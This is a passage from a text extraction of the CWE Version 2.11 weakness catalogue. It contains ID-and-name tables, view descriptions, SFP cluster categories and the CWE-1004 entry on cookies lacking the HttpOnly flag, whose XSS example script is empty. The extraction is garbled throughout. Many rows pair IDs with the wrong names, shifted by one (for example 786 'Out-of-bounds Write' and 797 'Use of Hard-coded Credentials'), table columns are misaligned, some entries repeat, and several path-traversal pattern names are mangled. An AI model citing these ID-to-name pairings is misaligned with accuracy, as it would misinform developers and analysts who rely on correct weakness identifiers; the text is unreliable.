<td>Exposed IOCTL with Insufficient Access Control</td>
<td></td>
</tr>
<tr>
<td>782</td>
<td>Operator Precedence Logic Error</td>
<td></td>
</tr>
<tr>
<td>783</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision</td>
<td></td>
</tr>
<tr>
<td>784</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer</td>
<td></td>
</tr>
<tr>
<td>785</td>
<td>Access of Memory Location Before Start of Buffer</td>
<td></td>
</tr>
<tr>
<td>786</td>
<td>Out-of-bounds Write</td>
<td></td>
</tr>
<tr>
<td>787</td>
<td>Access of Memory Location After End of Buffer</td>
<td></td>
</tr>
<tr>
<td>788</td>
<td>Uncontrolled Memory Allocation</td>
<td></td>
</tr>
<tr>
<td>789</td>
<td>Improper Filtering of Special Elements</td>
<td></td>
</tr>
<tr>
<td>790</td>
<td>Incomplete Filtering of Special Elements</td>
<td></td>
</tr>
<tr>
<td>791</td>
<td>Incomplete Filtering of One or More Instances of Special Elements</td>
<td></td>
</tr>
<tr>
<td>792</td>
<td>Only Filtering One Instance of a Special Element</td>
<td></td>
</tr>
<tr>
<td>793</td>
<td>Incomplete Filtering of Multiple Instances of Special Elements</td>
<td></td>
</tr>
<tr>
<td>794</td>
<td>Only Filtering Special Elements at a Specified Location</td>
<td></td>
</tr>
<tr>
<td>795</td>
<td>Only Filtering Special Elements Relative to a Marker</td>
<td></td>
</tr>
<tr>
<td>796</td>
<td>Only Filtering Special Elements at an Absolute Position</td>
<td></td>
</tr>
<tr>
<td>797</td>
<td>Use of Hard-coded Credentials</td>
<td></td>
</tr>
<tr>
<td>798</td>
<td>Improper Control of Interaction Frequency</td>
<td></td>
</tr>
<tr>
<td>799</td>
<td>Guessable CAPTCHA</td>
<td></td>
</tr>
<tr>
<td>804</td>
<td>Buffer Access with Incorrect Length Value</td>
<td></td>
</tr>
<tr>
<td>805</td>
<td>Buffer Access Using Size of Source Buffer</td>
<td></td>
</tr>
<tr>
<td>806</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
<td></td>
</tr>
<tr>
<td>820</td>
<td>Missing Synchronization</td>
<td></td>
</tr>
<tr>
<td>821</td>
<td>Incorrect Synchronization</td>
<td></td>
</tr>
<tr>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
<td></td>
</tr>
<tr>
<td>823</td>
<td>Use of Out-of-range Pointer Offset</td>
<td></td>
</tr>
</tbody>
</table>
## CWE-999: Weaknesses without Software Fault Patterns

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>824</td>
<td>Access of Uninitialized Pointer</td>
<td></td>
</tr>
<tr>
<td>825</td>
<td>Expired Pointer Dereference</td>
<td></td>
</tr>
<tr>
<td>826</td>
<td>Premature Release of Resource During Expected Lifetime</td>
<td></td>
</tr>
<tr>
<td>827</td>
<td>Improper Control of Document Type Definition</td>
<td></td>
</tr>
<tr>
<td>828</td>
<td>Signal Handler with Functionality that is not Asynchronous-Safe</td>
<td></td>
</tr>
<tr>
<td>829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
<td></td>
</tr>
<tr>
<td>830</td>
<td>Inclusion of Web Functionality from an Untrusted Source</td>
<td></td>
</tr>
<tr>
<td>831</td>
<td>Signal Handler Function Associated with Multiple Signals</td>
<td></td>
</tr>
<tr>
<td>832</td>
<td>Unlock of a Resource that is not Locked</td>
<td></td>
</tr>
<tr>
<td>833</td>
<td>Deadlock</td>
<td></td>
</tr>
<tr>
<td>834</td>
<td>Excessive Iteration</td>
<td></td>
</tr>
<tr>
<td>835</td>
<td>Loop with Unreachable Exit Condition ('Infinite Loop')</td>
<td></td>
</tr>
<tr>
<td>836</td>
<td>Use of Password Hash Instead of Password for Authentication</td>
<td></td>
</tr>
<tr>
<td>837</td>
<td>Improper Enforcement of a Single, Unique Action</td>
<td></td>
</tr>
<tr>
<td>838</td>
<td>Inappropriate Encoding for Output Context</td>
<td></td>
</tr>
<tr>
<td>839</td>
<td>Numeric Range Comparison Without Minimum Check</td>
<td></td>
</tr>
<tr>
<td>840</td>
<td>Improper Enforcement of Behavioral Workflow</td>
<td></td>
</tr>
<tr>
<td>841</td>
<td>Placement of User into Incorrect Group</td>
<td></td>
</tr>
<tr>
<td>842</td>
<td>Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')</td>
<td></td>
</tr>
<tr>
<td>843</td>
<td>Improper Authorization in Handler for Custom URL Scheme</td>
<td></td>
</tr>
<tr>
<td>847</td>
<td>Improper Verification of Source of a Communication Channel</td>
<td></td>
</tr>
<tr>
<td>848</td>
<td>Incorrectly Specified Destination in a Communication Channel</td>
<td></td>
</tr>
<tr>
<td>849</td>
<td>Improper Neutralization of Special Elements in Data Query Logic</td>
<td></td>
</tr>
<tr>
<td>908</td>
<td>Use of Uninitialized Resource</td>
<td></td>
</tr>
<tr>
<td>909</td>
<td>Missing Initialization of Resource</td>
<td></td>
</tr>
<tr>
<td>910</td>
<td>Use of Expired File Descriptor</td>
<td></td>
</tr>
<tr>
<td>911</td>
<td>Improper Update of Reference Count</td>
<td></td>
</tr>
<tr>
<td>912</td>
<td>Hidden Functionality</td>
<td></td>
</tr>
<tr>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
<td></td>
</tr>
<tr>
<td>914</td>
<td>Improper Control of Dynamically-Identified Variables</td>
<td></td>
</tr>
<tr>
<td>915</td>
<td>Improperly Controlled Modification of Dynamically-Determined Object Attributes</td>
<td></td>
</tr>
<tr>
<td>916</td>
<td>Use of Password Hash With Insufficient Computational Effort</td>
<td></td>
</tr>
<tr>
<td>917</td>
<td>Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')</td>
<td></td>
</tr>
<tr>
<td>918</td>
<td>Server-Side Request Forgery (SSRF)</td>
<td></td>
</tr>
<tr>
<td>920</td>
<td>Improper Restriction of Power Consumption</td>
<td></td>
</tr>
<tr>
<td>921</td>
<td>Storage of Sensitive Data in a Mechanism without Access Control</td>
<td></td>
</tr>
<tr>
<td>922</td>
<td>Insecure Storage of Sensitive Information</td>
<td></td>
</tr>
<tr>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td></td>
</tr>
<tr>
<td>924</td>
<td>Improper Enforcement of Message Integrity During Transmission in a Communication Channel</td>
<td></td>
</tr>
<tr>
<td>925</td>
<td>Improper Verification of Intent by Broadcast Receiver</td>
<td></td>
</tr>
<tr>
<td>926</td>
<td>Improper Export of Android Application Components</td>
<td></td>
</tr>
<tr>
<td>927</td>
<td>Use of Implicit Intent for Sensitive Communication</td>
<td></td>
</tr>
<tr>
<td>939</td>
<td>Improper Authorization in Handler for Custom URL Scheme</td>
<td></td>
</tr>
<tr>
<td>940</td>
<td>Improper Verification of Source of a Communication Channel</td>
<td></td>
</tr>
<tr>
<td>941</td>
<td>Incorrectly Specified Destination in a Communication Channel</td>
<td></td>
</tr>
<tr>
<td>942</td>
<td>Overly Permissive Cross-domain Whitelist</td>
<td></td>
</tr>
<tr>
<td>943</td>
<td>Improper Neutralization of Special Elements in Data Query Logic</td>
<td></td>
</tr>
</tbody>
</table>

**View Audience**

- Applied Researchers
- Academic Researchers

1412
Software Vendors

CWE-1000: Research Concepts

View ID: 1000 (View: Graph)  Status: Draft

Objective
This view is intended to facilitate research into weaknesses, including their inter-dependencies and their role in vulnerabilities. It classifies weaknesses in a way that largely ignores how they can be detected, where they appear in code, and when they are introduced in the software development life-cycle. Instead, it is mainly organized according to abstractions of software behaviors. It uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars.

Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life-cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies.

This view is roughly aligned with MITRE's research into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and very few categories. This view could be useful for academic research, CWE maintenance, and mapping. It can be leveraged to systematically identify theoretical gaps within CWE and, by extension, the general security community.

View Data

View Metrics

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>722</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>9</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>705</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>8</td>
</tr>
</tbody>
</table>

View Audience

Academic Researchers
This view provides an organizational structure for weaknesses that is different than the approaches undertaken by taxonomies such as Seven Pernicious Kingdoms.

Applied Researchers
Applied researchers could use the higher-level classes and bases to identify potential areas for future research.

Developers
Developers who have fully integrated security into their SDLC might find this view useful in identifying general patterns of issues within code, instead of relying heavily on "badness lists" that only cover the most severe issues.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td></td>
<td>118</td>
<td>Incorrect Access of Indexable Resource ('Range Error')</td>
<td>225</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>582</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>435</td>
<td>Interaction Error</td>
<td>750</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1028</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>1063</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1075</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1077</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>1081</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1105</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td>1110</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-1001: SFP Secondary Cluster: Use of an Improper API

Nature | Type | ID | Name | Page
--- | --- | --- | --- | ---
HasMember |  | 710 | Coding Standards Violation | 1000 1112

**CWE-1001: SFP Secondary Cluster: Use of an Improper API**

**Category ID:** 1001 *(Category)*  
**Status:** Incomplete

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Use of an Improper API cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>887</td>
<td>SFP Primary Cluster: API</td>
<td>888 1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>111</td>
<td>Direct Use of Unsafe JNI</td>
<td>888 208</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>888 419</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
<td>888 432</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>245</td>
<td>J2EE Bad Practices: Direct Management of Connections</td>
<td>888 436</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>246</td>
<td>J2EE Bad Practices: Direct Use of Sockets</td>
<td>888 438</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
<td>888 662</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>383</td>
<td>J2EE Bad Practices: Direct Use of Threads</td>
<td>888 664</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>432</td>
<td>Dangerous Signal Handler not Disabled During Sensitive Operations</td>
<td>888 742</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>439</td>
<td>Behavioral Change in New Version or Environment</td>
<td>888 754</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>440</td>
<td>Expected Behavior Violation</td>
<td>888 754</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>474</td>
<td>Use of Function with Inconsistent Implementations</td>
<td>888 799</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>477</td>
<td>Use of Obsolete Functions</td>
<td>888 804</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
<td>888 809</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>558</td>
<td>Use of getlogin() in Multithreaded Application</td>
<td>888 895</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>572</td>
<td>Call to Thread run() instead of start()</td>
<td>888 912</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>888 913</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>574</td>
<td>EJB Bad Practices: Use of Synchronization Primitives</td>
<td>888 914</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>575</td>
<td>EJB Bad Practices: Use of AWT Swing</td>
<td>888 915</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>576</td>
<td>EJB Bad Practices: Use of Java I/O</td>
<td>888 917</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>577</td>
<td>EJB Bad Practices: Use of Sockets</td>
<td>888 919</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>578</td>
<td>EJB Bad Practices: Use of Class Loader</td>
<td>888 920</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>586</td>
<td>Explicit Call to Finalize()</td>
<td>888 928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>589</td>
<td>Call to Non-ubiquitous API</td>
<td>888 931</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>617</td>
<td>Reachable Assertion</td>
<td>888 966</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
<td>888 1046</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td>888 1067</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
<td>888 1079</td>
</tr>
</tbody>
</table>
| ParentOf |  | 758 | Reliance on Undefined, Unspecified, or Implementation-Defined Behavior | 888 1156

**CWE-1002: SFP Secondary Cluster: Unexpected Entry Points**

**Category ID:** 1002 *(Category)*  
**Status:** Incomplete

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Unexpected Entry Points cluster.

1414
CWE-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

View ID: 1003 (View: Graph)  Status: Incomplete

Objective
CWE entries in this view (graph) may be used to categorize potential weaknesses within sources that handle public, third-party vulnerability information, such as NVD. By design, this view is incomplete; it is limited to a small number of the most commonly-seen weaknesses, so that it is easier to use for humans.

This view is most similar to CWE-699 (Development Concepts), although it also has some relationships that are similar to those for CWE-1000 (Research Concepts).

Note: this view is likely to change significantly in the next version.

View Data

View Metrics

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>114</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>20</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>91</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>3</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>897</td>
<td>SFP Primary Cluster: Entry Points</td>
<td>1330</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>489</td>
<td>Leftover Debug Code</td>
<td>826</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>491</td>
<td>Public cloneable() Method Without Final (&quot;Object Hijack&quot;)</td>
<td>828</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
<td>835</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>500</td>
<td>Public Static Field Not Marked Final</td>
<td>847</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>531</td>
<td>Information Exposure Through Test Code</td>
<td>874</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>568</td>
<td>finalize() Method Without super.finalize()</td>
<td>907</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>580</td>
<td>clone() Method Without super.clone()</td>
<td>923</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>582</td>
<td>Array Declared Public, Final, and Static</td>
<td>924</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>583</td>
<td>finalize() Method Declared Public</td>
<td>925</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>608</td>
<td>Struts: Non-private Field in ActionForm Class</td>
<td>956</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>766</td>
<td>Critical Variable Declared Public</td>
<td>1173</td>
</tr>
</tbody>
</table>

References

Maintenance Notes
This view contains many entries that are being considered for use in NVD in 2015. This list is expected to change with contributions from additional sources.

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Weakness ID: 1004 (Weakness Variant)  Status: Incomplete

Description
Summary
The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.
Extended Description
The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

Time of Introduction
• Implementation
• Architecture and Design

Applicable Platforms
Languages
• Language-independent

Architectural Paradigms
• Web-based

Technology Classes
• Web-Server

Common Consequences
Confidentiality
Read application data
If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.

Integrity
Gain privileges / assume identity
If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.

Likelihood of Exploit
Medium

Demonstrative Examples
In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

Java Example:  
Java Example:
```java
String sessionId = generateSessionId();
Cookie c = new Cookie("session_id", sessionId);
response.addCookie(c);
```

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Javascript Example:  
Javascript Example:
```javascript
```

When the client loads and executes this script, it makes a request to the attacker-controlled website. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

Java Example:  
Java Example:
```java
String sessionId = generateSessionId();
Cookie c = new Cookie("session_id", sessionId);
c.setHttpOnly(true);
response.addCookie(c);
```

Observed Examples
### CWE-1005: Input Validation and Representation

**Category ID:** 1005 (Category)  
**Status:** Draft

#### Description

**Summary**

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that exist when an application does not properly validate or represent input.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>📖</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>📖</td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>📖</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>100</td>
</tr>
<tr>
<td>ParentOf</td>
<td>📖</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>📖</td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>700</td>
</tr>
</tbody>
</table>
## References

## CWE-2000: Comprehensive CWE Dictionary
### Objective
This view (slice) covers all the elements in CWE.

### View Data
**Filter Used:**
true()

### View Metrics

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Views</td>
<td>33 out of 1006</td>
</tr>
<tr>
<td>Categories</td>
<td>245 out of 1006</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>720 out of 1006</td>
</tr>
<tr>
<td>Compound Elements</td>
<td>8 out of 1006</td>
</tr>
</tbody>
</table>

### CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>1</td>
<td>Location</td>
</tr>
<tr>
<td>C</td>
<td>2</td>
<td>Environment</td>
</tr>
<tr>
<td>C</td>
<td>3</td>
<td>Technology-specific Environment Issues</td>
</tr>
<tr>
<td>C</td>
<td>4</td>
<td>J2EE Environment Issues</td>
</tr>
<tr>
<td>C</td>
<td>5</td>
<td>J2EE Misconfiguration: Data Transmission Without Encryption</td>
</tr>
<tr>
<td>C</td>
<td>6</td>
<td>J2EE Misconfiguration: Insufficient Session-ID Length</td>
</tr>
<tr>
<td>C</td>
<td>7</td>
<td>J2EE Misconfiguration: Missing Custom Error Page</td>
</tr>
<tr>
<td>C</td>
<td>8</td>
<td>J2EE Misconfiguration: Entity Bean Declared Remote</td>
</tr>
<tr>
<td>C</td>
<td>9</td>
<td>J2EE Misconfiguration: Weak Access Permissions for EJB Methods</td>
</tr>
<tr>
<td>C</td>
<td>10</td>
<td>ASP.NET Environment Issues</td>
</tr>
<tr>
<td>C</td>
<td>11</td>
<td>ASP.NET Misconfiguration: Creating Debug Binary</td>
</tr>
<tr>
<td>C</td>
<td>12</td>
<td>ASP.NET Misconfiguration: Missing Custom Error Page</td>
</tr>
<tr>
<td>C</td>
<td>13</td>
<td>ASP.NET Misconfiguration: Password in Configuration File</td>
</tr>
<tr>
<td>B</td>
<td>14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
</tr>
<tr>
<td>B</td>
<td>15</td>
<td>External Control of System or Configuration Setting</td>
</tr>
<tr>
<td>C</td>
<td>16</td>
<td>Configuration</td>
</tr>
<tr>
<td>C</td>
<td>17</td>
<td>Code</td>
</tr>
<tr>
<td>C</td>
<td>18</td>
<td>Source Code</td>
</tr>
<tr>
<td>C</td>
<td>19</td>
<td>Data Processing Errors</td>
</tr>
<tr>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
</tr>
<tr>
<td>C</td>
<td>21</td>
<td>Pathname Traversal and Equivalence Errors</td>
</tr>
<tr>
<td>C</td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory (&quot;Path Traversal&quot;)</td>
</tr>
<tr>
<td>B</td>
<td>23</td>
<td>Relative Path Traversal</td>
</tr>
<tr>
<td>V</td>
<td>24</td>
<td>Path Traversal: '../filedir'</td>
</tr>
<tr>
<td>V</td>
<td>25</td>
<td>Path Traversal: '../filedir'</td>
</tr>
<tr>
<td>V</td>
<td>26</td>
<td>Path Traversal: './dir/..../filename'</td>
</tr>
<tr>
<td>V</td>
<td>27</td>
<td>Path Traversal: 'dir/..../filename'</td>
</tr>
<tr>
<td>V</td>
<td>28</td>
<td>Path Traversal: '../filedir'</td>
</tr>
<tr>
<td>V</td>
<td>29</td>
<td>Path Traversal: '../..../filename'</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td>30</td>
<td>Path Traversal: &quot;dir..ilename'</td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>Path Traversal: &quot;dir..ilename'</td>
<td></td>
</tr>
<tr>
<td>32</td>
<td>Path Traversal: '..' (Triple Dot)</td>
<td></td>
</tr>
<tr>
<td>33</td>
<td>Path Traversal: '&quot;...' (Multiple Dot)</td>
<td></td>
</tr>
<tr>
<td>34</td>
<td>Path Traversal: '&quot;...//&quot;'</td>
<td></td>
</tr>
<tr>
<td>35</td>
<td>Path Traversal: '&quot;...//&quot;'</td>
<td></td>
</tr>
<tr>
<td>36</td>
<td>Absolute Path Traversal</td>
<td></td>
</tr>
<tr>
<td>37</td>
<td>Path Traversal: '\absolute\pathname\here'</td>
<td></td>
</tr>
<tr>
<td>38</td>
<td>Path Traversal: '&quot;absolute\pathname\here'</td>
<td></td>
</tr>
<tr>
<td>39</td>
<td>Path Traversal: 'C:dirname'</td>
<td></td>
</tr>
<tr>
<td>40</td>
<td>Path Traversal: '&quot;\UNC\share\name' (Windows UNC Share)</td>
<td></td>
</tr>
<tr>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td></td>
</tr>
<tr>
<td>42</td>
<td>Path Equivalence: 'filename.' (Trailing Dot)</td>
<td></td>
</tr>
<tr>
<td>43</td>
<td>Path Equivalence: 'filename...,' (Multiple Trailing Dot)</td>
<td></td>
</tr>
<tr>
<td>44</td>
<td>Path Equivalence: 'file.name' (Internal Dot)</td>
<td></td>
</tr>
<tr>
<td>45</td>
<td>Path Equivalence: 'file...name' (Multiple Internal Dot)</td>
<td></td>
</tr>
<tr>
<td>46</td>
<td>Path Equivalence: 'filename ' (Trailing Space)</td>
<td></td>
</tr>
<tr>
<td>47</td>
<td>Path Equivalence: ' filename' (Leading Space)</td>
<td></td>
</tr>
<tr>
<td>48</td>
<td>Path Equivalence: 'file name' (Internal Whitespace)</td>
<td></td>
</tr>
<tr>
<td>49</td>
<td>Path Equivalence: '&quot;filename/&quot; (Trailing Slash)</td>
<td></td>
</tr>
<tr>
<td>50</td>
<td>Path Equivalence: '///multiple/leading/slash'</td>
<td></td>
</tr>
<tr>
<td>51</td>
<td>Path Equivalence: '/multiple//internal/slash'</td>
<td></td>
</tr>
<tr>
<td>52</td>
<td>Path Equivalence: '/multiple/trailing/slash/'</td>
<td></td>
</tr>
<tr>
<td>53</td>
<td>Path Equivalence: '/multiple\internal\backslash'</td>
<td></td>
</tr>
<tr>
<td>54</td>
<td>Path Equivalence: 'filedir&quot; (Trailing Backslash)</td>
<td></td>
</tr>
<tr>
<td>55</td>
<td>Path Equivalence: 'filedir//' (Single Dot Directory)</td>
<td></td>
</tr>
<tr>
<td>56</td>
<td>Path Equivalence: 'filedir*' (Wildcard)</td>
<td></td>
</tr>
<tr>
<td>57</td>
<td>Path Equivalence: 'fakedir/..\realdir/filename'</td>
<td></td>
</tr>
<tr>
<td>58</td>
<td>Path Equivalence: Windows 8.3 Filename</td>
<td></td>
</tr>
<tr>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td></td>
</tr>
<tr>
<td>60</td>
<td>UNIX Path Link Problems</td>
<td></td>
</tr>
<tr>
<td>61</td>
<td>UNIX Symbolic Link (Syalink) Following</td>
<td></td>
</tr>
<tr>
<td>62</td>
<td>UNIX Hard Link</td>
<td></td>
</tr>
<tr>
<td>63</td>
<td>Windows Path Link Problems</td>
<td></td>
</tr>
<tr>
<td>64</td>
<td>Windows Shortcut Following (.LNK)</td>
<td></td>
</tr>
<tr>
<td>65</td>
<td>Windows Hard Link</td>
<td></td>
</tr>
<tr>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
<td></td>
</tr>
<tr>
<td>67</td>
<td>Improper Handling of Windows Device Names</td>
<td></td>
</tr>
<tr>
<td>68</td>
<td>Windows Virtual File Problems</td>
<td></td>
</tr>
<tr>
<td>69</td>
<td>Improper Handling of Windows ::DATA Alternate Data Stream</td>
<td></td>
</tr>
<tr>
<td>70</td>
<td>Mac Virtual File Problems</td>
<td></td>
</tr>
<tr>
<td>71</td>
<td>Apple '.DS_Store'</td>
<td></td>
</tr>
<tr>
<td>72</td>
<td>Improper Handling of Apple HFS+ Alternate Data Stream Path</td>
<td></td>
</tr>
<tr>
<td>73</td>
<td>External Control of File Name or Path</td>
<td></td>
</tr>
<tr>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td></td>
</tr>
<tr>
<td>75</td>
<td>Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)</td>
<td></td>
</tr>
<tr>
<td>76</td>
<td>Improper Neutralization of Equivalent Special Elements</td>
<td></td>
</tr>
<tr>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td></td>
</tr>
<tr>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td></td>
</tr>
</tbody>
</table>
## CWE Version 2.11

### CWE-2000: Comprehensive CWE Dictionary

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>AI</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>AI</td>
